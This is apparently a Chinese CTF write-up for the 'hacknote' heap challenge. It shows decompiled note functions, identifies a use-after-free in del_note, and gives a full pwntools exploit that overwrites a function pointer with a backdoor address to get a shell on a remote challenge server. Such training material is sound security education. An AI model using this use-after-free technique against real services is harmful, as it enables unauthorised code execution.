check
pie都没开
add_note:
int add_note()
{
int result; // eax
_DWORD *v1; // esi
char buf; // [esp+0h] [ebp-18h]
size_t size; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]
result = count;
if ( count > 5 )
return puts("Full");
for ( i = 0; i <= 4; ++i )
{
result = (int)notelist[i];
if ( !result )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
*notelist[i] = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v1 = notelist[i];
v1[1] = malloc(size);
if ( !notelist[i][1] )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, (void *)notelist[i][1], size);
puts("Success !");
return count++ + 1;
}
}
return result;
}
把print_note_content函数的地址写在了 size 为 0x8 的 chunk 里面,后面 print_note 再直接调用
_DWORD *del_note()
{
_DWORD *result; // eax
char buf; // [esp+8h] [ebp-10h]
int v2; // [esp+Ch] [ebp-Ch]
printf("Index :");
read(0, &buf, 4u);
v2 = atoi(&buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = notelist[v2];
if ( result )
{
free((void *)notelist[v2][1]);
free(notelist[v2]);#未置0,存在UAF
result = (_DWORD *)puts("Success");
}
return result;
}
思路:
通过覆盖 0x8 的 chunk 里 print_note_content 为后门函数 magic 然后 print_note 调用
exp:
from pwn import*
#p=process('./hacknote')
p=remote('node4.buuoj.cn',29479)
context.log_level='debug'
def add(size,payload):
p.recvuntil(':')
p.sendline(str(1))
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.sendline(str(payload))
def free(idx):
p.recvuntil(':')
p.sendline(str(2))
p.recvuntil(':')
p.sendline(str(idx))
def dump(idx):
p.recvuntil(':')
p.sendline(str(3))
p.recvuntil(':')
p.sendline(str(idx))
add(0x10,'aaaa')
add(0x10,'bbbb')
free(0)
free(1)
system=0x08048945
add(0x8,p32(system))
#gdb.attach(p)
dump(0)
p.interactive()